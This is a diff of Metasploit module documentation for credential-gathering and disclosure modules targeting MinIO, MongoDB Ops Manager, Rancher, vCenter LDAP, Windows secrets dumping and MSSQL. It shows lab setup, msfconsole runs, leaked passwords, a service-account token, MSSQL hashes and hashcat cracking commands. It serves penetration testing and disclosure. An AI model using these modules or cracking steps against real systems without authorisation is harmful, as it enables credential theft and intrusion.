### MinIO 2023-02-27T18:10:45Z from docker image
|
||||
|
||||
```
|
||||
resource (msf)> set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
resource (msf)> set rport 9000
|
||||
rport => 9000
|
||||
msf6 auxiliary(gather/minio_bootstrap_verify_info_disc) > run
|
||||
[*] Reloading module...
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[+] MINIO_ACCESS_KEY_FILE: access_key
|
||||
[+] MINIO_CONFIG_ENV_FILE: config.env
|
||||
[+] MINIO_KMS_SECRET_KEY_FILE: kms_master_key
|
||||
[+] MINIO_ROOT_PASSWORD: minioadmin-vulhub
|
||||
[+] MINIO_ROOT_PASSWORD_FILE: secret_key
|
||||
[+] MINIO_ROOT_USER: minioadmin
|
||||
[+] MINIO_ROOT_USER_FILE: access_key
|
||||
[+] MINIO_SECRET_KEY_FILE: secret_key
|
||||
[+] MinIO Environmental Variables Json Saved to: /root/.msf4/loot/20240131112953_default_127.0.0.1_minio.env.json_772811.json
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,82 @@
|
||||
## Vulnerable Application
|
||||
|
||||
MongoDB Ops Manager Diagnostics Archive does not redact SAML SSL Pem Key File Password
|
||||
field (`mms.saml.ssl.PEMKeyFilePassword`) within app settings. Archives do not include
|
||||
the PEM files themselves. This module extracts that unredacted password and stores
|
||||
the diagnostic archive for additional manual review.
|
||||
|
||||
This issue affects MongoDB Ops Manager v5.0 prior to 5.0.21 and
|
||||
MongoDB Ops Manager v6.0 prior to 6.0.12.
|
||||
|
||||
API credentials with the role of `GLOBAL_MONITORING_ADMIN` or `GLOBAL_OWNER` are required.
|
||||
|
||||
Successfully tested against MongoDB Ops Manager v6.0.11.
|
||||
|
||||
### Install on Ubuntu 22.04
|
||||
|
||||
1. Download mongodb server deb from https://www.mongodb.com/download-center/community/releases/archive .
|
||||
Look for: `Server Package: mongodb-org-server_6.0.11_amd64.deb`
|
||||
2. Download the 1.4gig ops manager (mms) deb from https://www.mongodb.com/subscription/downloads/archived
|
||||
3. `sudo apt-get install snmp`
|
||||
4. `sudo dpkg -i mongodb-org-server_6.0.11_amd64.deb`
|
||||
5. `sudo dpkg -i mongodb-mms-*`
|
||||
6. `sudo nano /opt/mongodb/mms/conf/conf-mms.properties` and add a new field at the bottom of the file: `mms.saml.ssl.PEMKeyFilePassword=FINDME`
|
||||
7. `sudo systemctl start mongod.service`
|
||||
8. `sudo systemctl start mongodb-mms.service` (wait a little while for it to initialize and run)
|
||||
9. Browse to http://<ip>>:8080/account/register and perform the install, the SMTP fields can use values for a server which doesn't exist.
|
||||
10. Top left corner of the page after install should be "Project 0", click the drop down and create new project. Any name is fine, I called it 'test'
|
||||
11. Top right of the screen, click Admin, API Keys, Create API Key. Create a new key, for permissions select
|
||||
`Global Monitoring Admin` or `Global Owner` (or both).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info`
|
||||
1. Do: `set API_PUBKEY [API_PUBKEY]`
|
||||
1. Do: `set API_PRIVKEY [API_PRIVKEY]`
|
||||
1. Do: `run`
|
||||
1. You should find similar output to the following: `Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME`
|
||||
|
||||
## Options
|
||||
|
||||
### API_PUBKEY
|
||||
|
||||
Public Key for the API key that was created with `Global Monitoring Admin` or `Global Owner` permissions.
|
||||
|
||||
### API_PRIVKEY
|
||||
|
||||
Private Key for the API key that was created with `Global Monitoring Admin` or `Global Owner` permissions.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Mongodb OPS Manager 6.0.11 on Ubuntu 22.04
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info
|
||||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_PUBKEY zmdhriti
|
||||
API_PUBKEY => zmdhriti
|
||||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_PRIVKEY fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc
|
||||
API_PRIVKEY => fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc
|
||||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > run
|
||||
[*] Running module against 127.0.0.1
|
||||
|
||||
[*] Checking for orgs
|
||||
[*] Looking for projects in org 65e86256961a9b1cc98c6c8b
|
||||
[+] Found project: Project 0 (65e86256961a9b1cc98c6c8f)
|
||||
[+] Stored Project Diagnostics files to /root/.msf4/loot/20240307151114_default_127.0.0.1_mongodb.ops_mana_015137.gz
|
||||
[*] Opening project_diagnostics.tar.gz
|
||||
[+] Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME
|
||||
[+] Found ubuntu22-0-mms's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME
|
||||
[+] Found project: test (65e86331961a9b1cc98c6db7)
|
||||
[+] Stored Project Diagnostics files to /root/.msf4/loot/20240307151114_default_127.0.0.1_mongodb.ops_mana_205173.gz
|
||||
[*] Opening project_diagnostics.tar.gz
|
||||
[+] Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME
|
||||
[+] Found ubuntu22-0-mms's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) >
|
||||
```
|
||||
@@ -0,0 +1,118 @@
|
||||
## Vulnerable Application
|
||||
|
||||
An issue was discovered in Rancher versions up to and including
|
||||
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys
|
||||
and Ranchers service account token (used to provision clusters),
|
||||
were stored in plaintext directly on Kubernetes objects like Clusters,
|
||||
for example cluster.management.cattle.io. Anyone with read access to
|
||||
those objects in the Kubernetes API could retrieve the plaintext
|
||||
version of those sensitive data.
|
||||
|
||||
### Install
|
||||
|
||||
* Clone the repository from: https://github.com/fe-ax/tf-cve-2021-36782
|
||||
* Create a Digital Ocean API Token
|
||||
* Log into Digital Ocean and navigate to: API > Tokens
|
||||
* Select "Generate New Token"
|
||||
* Enter a token name and then select either Full Access or Custom Scopes
|
||||
* If selecting Custom Scopes, use the values provided below
|
||||
* Back in the `tf-cve-2021-36782`, copy the `example.tfvars` file to `yourown.tfvars`
|
||||
* Edit `yourown.tfvars` and add the newly generated DO API token as `do_token`
|
||||
* Optionally set the region for the clusters to one closer to you (e.g. `nyc3`)
|
||||
* Run `terraform init`
|
||||
* Run `terraform apply -var-file yourown.tfvars`, this can take about 20 minutes to run
|
||||
* Take the hostname from the `rancher_admin_url` output from terraform and use that as the `RHOST` value for the module
|
||||
* Take the password from the `rancher_password` file and use that with the username "admin" for the module
|
||||
|
||||
#### Digital Ocean API Token Custom Scopes
|
||||
It's possible that there are unnecessary privileges contained within the following settings, however it does permit the
|
||||
test environment to start without a full access token.
|
||||
|
||||
* Fully Scoped Access:
|
||||
* 1click (2): create, read
|
||||
* account (1): read
|
||||
* actions (1): read
|
||||
* billing (1): read
|
||||
* kubernetes (5): create, read, update, delete, access_cluster
|
||||
* load_balancer (4): create, read, update, delete
|
||||
* monitoring (4): create, read, update, delete
|
||||
* project (4): create, read, update, delete
|
||||
* regions (1): read
|
||||
* registry (4): create, read, update, delete
|
||||
* sizes (1): read
|
||||
* Create Access:
|
||||
* app / droplet / firewall / ssh_key
|
||||
* Read Access:
|
||||
* app / block_storage / block_storage_action / block_storage_snapshot / cdn / certificate / database / domain / droplet / firewall / function / image / reserved_ip / snapshot / ssh_key / tag / uptime / vpc
|
||||
* Update Access:
|
||||
* ssh_key
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/gather/rancher_authenticated_api_cred_exposure`
|
||||
1. Do: `set rhosts [ip]`
|
||||
1. Do: `set username [username]`
|
||||
1. Do: `set password [password]`
|
||||
1. Do: `run`
|
||||
1. If any API items of value are found, they will be printed
|
||||
|
||||
## Options
|
||||
|
||||
### Username
|
||||
|
||||
Username for Rancher. user must be in one or more of the following groups:
|
||||
|
||||
* `Cluster Owners`
|
||||
* `Cluster Members`
|
||||
* `Project Owners`
|
||||
* `Project Members`
|
||||
* `User Base`
|
||||
|
||||
### Password
|
||||
|
||||
Password for Rancher.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Docker Image
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/gather/rancher_authenticated_api_cred_exposure
|
||||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set rhosts rancher.178.62.209.204.sslip.io
|
||||
rhosts => rancher.178.62.209.204.sslip.io
|
||||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set username readonlyuser
|
||||
username => readonlyuser
|
||||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set password readonlyuserreadonlyuser
|
||||
password => readonlyuserreadonlyuser
|
||||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run
|
||||
[*] Running module against 178.62.209.204
|
||||
|
||||
[*] Attempting login
|
||||
[-] Auxiliary aborted due to failure: unreachable: 178.62.209.204:443 - Could not connect to web service - no response
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run
|
||||
[*] Running module against 178.62.209.204
|
||||
|
||||
[*] Attempting login
|
||||
[+] login successful, querying APIs
|
||||
[*] Querying /v1/management.cattle.io.catalogs
|
||||
[*] Querying /v1/management.cattle.io.clusters
|
||||
[+] Found leaked key Cluster.Status.ServiceAccountToken: eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng
|
||||
[*] Querying /v1/management.cattle.io.clustertemplates
|
||||
[*] Querying /v1/management.cattle.io.notifiers
|
||||
[*] Querying /v1/project.cattle.io.sourcecodeproviderconfig
|
||||
[-] No response received from /v1/project.cattle.io.sourcecodeproviderconfig
|
||||
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/catalogs
|
||||
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clusters
|
||||
[-] No response received from /k8s/clusters/local/apis/management.cattle.io/v3/clusters
|
||||
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates
|
||||
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/notifiers
|
||||
[*] Querying /k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
The [Cluster.Status.ServiceAccountToken](https://jwt.io/#debugger-io?token=eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng) is actually a JWT token as seen in the link.
|
||||
@@ -39,14 +39,15 @@ If you already have the LDAP base DN, you may set it in this option.
|
||||
msf5 > use auxiliary/gather/vmware_vcenter_vmdir_ldap
|
||||
msf5 auxiliary(gather/vmware_vcenter_vmdir_ldap) > options
|
||||
|
||||
Module options (auxiliary/gather/vmware_vcenter_vmdir_ldap):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
DOMAIN no The domain to authenticate to
|
||||
PASSWORD no The password to authenticate with
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 636 yes The target port
|
||||
SSL true no Enable SSL on the LDAP connection
|
||||
USERNAME no The username to authenticate with
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
@@ -2,10 +2,15 @@
|
||||
### Description
|
||||
The `windows_secrets_dump` auxiliary module dumps SAM hashes and LSA secrets
|
||||
(including cached creds) from the remote Windows target without executing any
|
||||
agent locally. First, it reads as much data as possible from the registry and
|
||||
then save the hives locally on the target (`%SYSTEMROOT%\\random.tmp`).
|
||||
Finally, it downloads the temporary hive files and reads the rest of the data
|
||||
from it. These temporary files are removed when it's done.
|
||||
agent locally. This is done by remotely updating the registry key security
|
||||
descriptor, taking advantage of the WriteDACL privileges held by local
|
||||
administrators to set temporary read permissions.
|
||||
|
||||
This can be disabled by setting the `INLINE` option to false and the module
|
||||
will fallback to the original implementation, which consists in saving the
|
||||
registry hives locally on the target (%SYSTEMROOT%\Temp\<random>.tmp),
|
||||
downloading the temporary hive files and reading the data from it. This
|
||||
temporary files are removed when it's done.
|
||||
|
||||
On domain controllers, secrets from Active Directory is extracted using [MS-DRDS]
|
||||
DRSGetNCChanges(), replicating the attributes we need to get SIDs, NTLM hashes,
|
||||
@@ -43,7 +48,10 @@ Windows XP/Server 2003 to Windows 10/Server version 2004.
|
||||
14. Verify the notes are there
|
||||
|
||||
## Options
|
||||
Apart from the standard SMB options, no other specific options are needed.
|
||||
|
||||
### INLINE
|
||||
Use inline technique to read protected keys from the registry remotely without
|
||||
saving the hives to disk (default: true).
|
||||
|
||||
## Actions
|
||||
|
||||
|
||||
@@ -64,7 +64,7 @@ Basic options:
|
||||
Description:
|
||||
This module dependent on the given filename extension creates either
|
||||
a .lnk, .scf, .url, desktop.ini file which includes a reference to
|
||||
the the specified remote host, causing SMB connections to be
|
||||
the specified remote host, causing SMB connections to be
|
||||
initiated from any user that views the file.
|
||||
|
||||
References:
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
## Description
|
||||
|
||||
The `mssql_hashdump` module queries an MSSQL instance or session and returns hashed user:pass pairs. These pairs can be decripted via or `hashcat`.
|
||||
|
||||
## Available Options
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/mssql/mssql_hashdump) > options
|
||||
|
||||
Module options (auxiliary/scanner/mssql/mssql_hashdump):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set)
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
DATABASE MSSQL no The database to authenticate against
|
||||
PASSWORD no The password for the specified username
|
||||
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 1433 no The target port (TCP)
|
||||
THREADS 1 yes The number of concurrent threads (max one per host)
|
||||
USERNAME MSSQL no The username to authenticate as
|
||||
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION no The session to run this module on
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
With a session:
|
||||
```
|
||||
msf6 auxiliary(scanner/mssql/mssql_hashdump) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 mssql MSSQL sa @ 127.0.0.1:1433 127.0.0.1:52307 -> 127.0.0.1:1433 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/mssql/mssql_hashdump) > run session=-1
|
||||
|
||||
[*] Using existing session 1
|
||||
[*] Instance Name: "758549b9f69e"
|
||||
[+] Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E
|
||||
[+] Saving mssql12 = ##MS_PolicyEventProcessingLogin##:0x02003F137BFF990AE7D0B89DA15EEDF4B962E200A9AAECE6AC7E4786176A08C4D278C0E9B203795F972CB508FD17827A755AF4284A9891F01C502EEBB5ECFABD7FA6CD3603E2
|
||||
[+] Saving mssql12 = ##MS_PolicyTsqlExecutionLogin##:0x0200DA9B84641F740A6423EC34F1B354FB81D9DF53456A7A7A8CCB794B295896C0CD19718C2C9537D3A7E82C41350F1549E2E2B99D819345DCABF1855AF2F83FA6CDC3EF8F96
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 USERNAME=sa PASSWORD=yourStrong(!)Password
|
||||
|
||||
[*] 127.0.0.1:1433 - Instance Name: "758549b9f69e"
|
||||
[+] 127.0.0.1:1433 - Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E
|
||||
[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyEventProcessingLogin##:0x02003F137BFF990AE7D0B89DA15EEDF4B962E200A9AAECE6AC7E4786176A08C4D278C0E9B203795F972CB508FD17827A755AF4284A9891F01C502EEBB5ECFABD7FA6CD3603E2
|
||||
[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyTsqlExecutionLogin##:0x0200DA9B84641F740A6423EC34F1B354FB81D9DF53456A7A7A8CCB794B295896C0CD19718C2C9537D3A7E82C41350F1549E2E2B99D819345DCABF1855AF2F83FA6CDC3EF8F96
|
||||
[*] 127.0.0.1:1433 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Directly querying a machine:
|
||||
```
|
||||
msf6 auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 USERNAME=sa PASSWORD=yourStrong(!)Password
|
||||
|
||||
[*] 127.0.0.1:1433 - Instance Name: "758549b9f69e"
|
||||
[+] 127.0.0.1:1433 - Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E
|
||||
[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyEventProcessingLogin##:0x02003F137BFF990AE7D0B89DA15EEDF4B962E200A9AAECE6AC7E4786176A08C4D278C0E9B203795F972CB508FD17827A755AF4284A9891F01C502EEBB5ECFABD7FA6CD3603E2
|
||||
[+] 127.0.0.1:1433 - Saving mssql12 = ##MS_PolicyTsqlExecutionLogin##:0x0200DA9B84641F740A6423EC34F1B354FB81D9DF53456A7A7A8CCB794B295896C0CD19718C2C9537D3A7E82C41350F1549E2E2B99D819345DCABF1855AF2F83FA6CDC3EF8F96
|
||||
[*] 127.0.0.1:1433 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Different MSSQL Versions have different hash formats. For example:
|
||||
|
||||
MSSQL (2000): 0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
|
||||
MSSQL (2005): 0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
|
||||
MSSQL (2012 and later): 0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
|
||||
|
||||
To decrypt:
|
||||
Save into a `passwords.txt` file
|
||||
Run with hashcat, based on the MSSQL Version:
|
||||
`hashcat --force -m 131 ./hashes.txt ./passwords.txt` (MSSQL 2000)
|
||||
`hashcat --force -m 132 ./hashes.txt ./passwords.txt` (MSSQL 2005)
|
||||
`hashcat --force -m 1731 ./hashes.txt ./passwords.txt` (MSSQL 2012 and later)
|
||||
@@ -15,6 +15,174 @@ A docker container can be spun up with the following command to test this module
|
||||
|
||||
## Options
|
||||
|
||||
### CreateSession
|
||||
|
||||
When using the `scanner/mssql/mssql_login` module, the CreateSession option can be used to obtain an interactive
|
||||
session within the MSSQL instance. Running the following commands with all other options set:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD=password
|
||||
```
|
||||
|
||||
Should give you output containing:
|
||||
|
||||
```msf
|
||||
[*] 192.168.2.242:1433 - 192.168.2.242:1433 - MSSQL - Starting authentication scanner.
|
||||
[!] 192.168.2.242:1433 - No active DB -- Credential data will not be saved!
|
||||
[+] 192.168.2.242:1433 - 192.168.2.242:1433 - Login Successful: WORKSTATION\user:password
|
||||
[*] MSSQL session 1 opened (192.168.2.1:60963 -> 192.168.2.242:1433) at 2024-03-15 13:41:31 -0500
|
||||
[*] 192.168.2.242:1433 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:60963 -> 192.168.2.242:1433 (192.168.2.242)
|
||||
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
|
||||
Response
|
||||
========
|
||||
|
||||
# NULL
|
||||
- ----
|
||||
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
|
||||
Oct 8 2022 05:58:25
|
||||
Copyright (C) 2022 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows Server 2022 Stand
|
||||
ard 10.0 <X64> (Build 20348: ) (Hypervisor)
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
mssql @ 192.168.2.242:1433 (master) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
MSSQL Client Commands
|
||||
=====================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queri
|
||||
es
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/mssql/mssql_enum
|
||||
auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
auxiliary/admin/mssql/mssql_exec
|
||||
auxiliary/admin/mssql/mssql_findandsampledata
|
||||
auxiliary/admin/mssql/mssql_idf
|
||||
auxiliary/admin/mssql/mssql_sql
|
||||
auxiliary/admin/mssql/mssql_sql_file
|
||||
auxiliary/scanner/mssql/mssql_hashdump
|
||||
auxiliary/scanner/mssql/mssql_schemadump
|
||||
exploit/windows/mssql/mssql_payload
|
||||
```
|
||||
|
||||
To interact directly with the session as if in a SQL prompt, you can use the `query` command.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query select @@version;
|
||||
query select user_name();
|
||||
query select name from master.dbo.sysdatabases;
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query 'select @@version;'
|
||||
Response
|
||||
========
|
||||
|
||||
# NULL
|
||||
- ----
|
||||
0 Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64)
|
||||
Oct 8 2022 05:58:25
|
||||
Copyright (C) 2022 Microsoft Corporation
|
||||
Developer Edition (64-bit) on Windows Server 2022 Standard 10.0 <X64> (B
|
||||
uild 20348: ) (Hypervisor)
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
mssql @ 192.168.2.242:1433 (master) > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
mssql @ 192.168.2.242:1433 (master) > query_interactive
|
||||
[*] Starting interactive SQL shell for mssql @ 192.168.2.242:1433 (master)
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> select top 2 table_catalog, table_schema
|
||||
SQL *> from information_schema.tables;
|
||||
[*] Executing query: select top 2 table_catalog, table_schema from information_schema.tables;
|
||||
Response
|
||||
========
|
||||
|
||||
# table_catalog table_schema
|
||||
- ------------- ------------
|
||||
0 master dbo
|
||||
1 master dbo
|
||||
|
||||
SQL >>
|
||||
```
|
||||
|
||||
### USER_FILE
|
||||
|
||||
File containing users, one per line.
|
||||
@@ -24,7 +192,8 @@ File containing users, one per line.
|
||||
File containing passwords, one per line
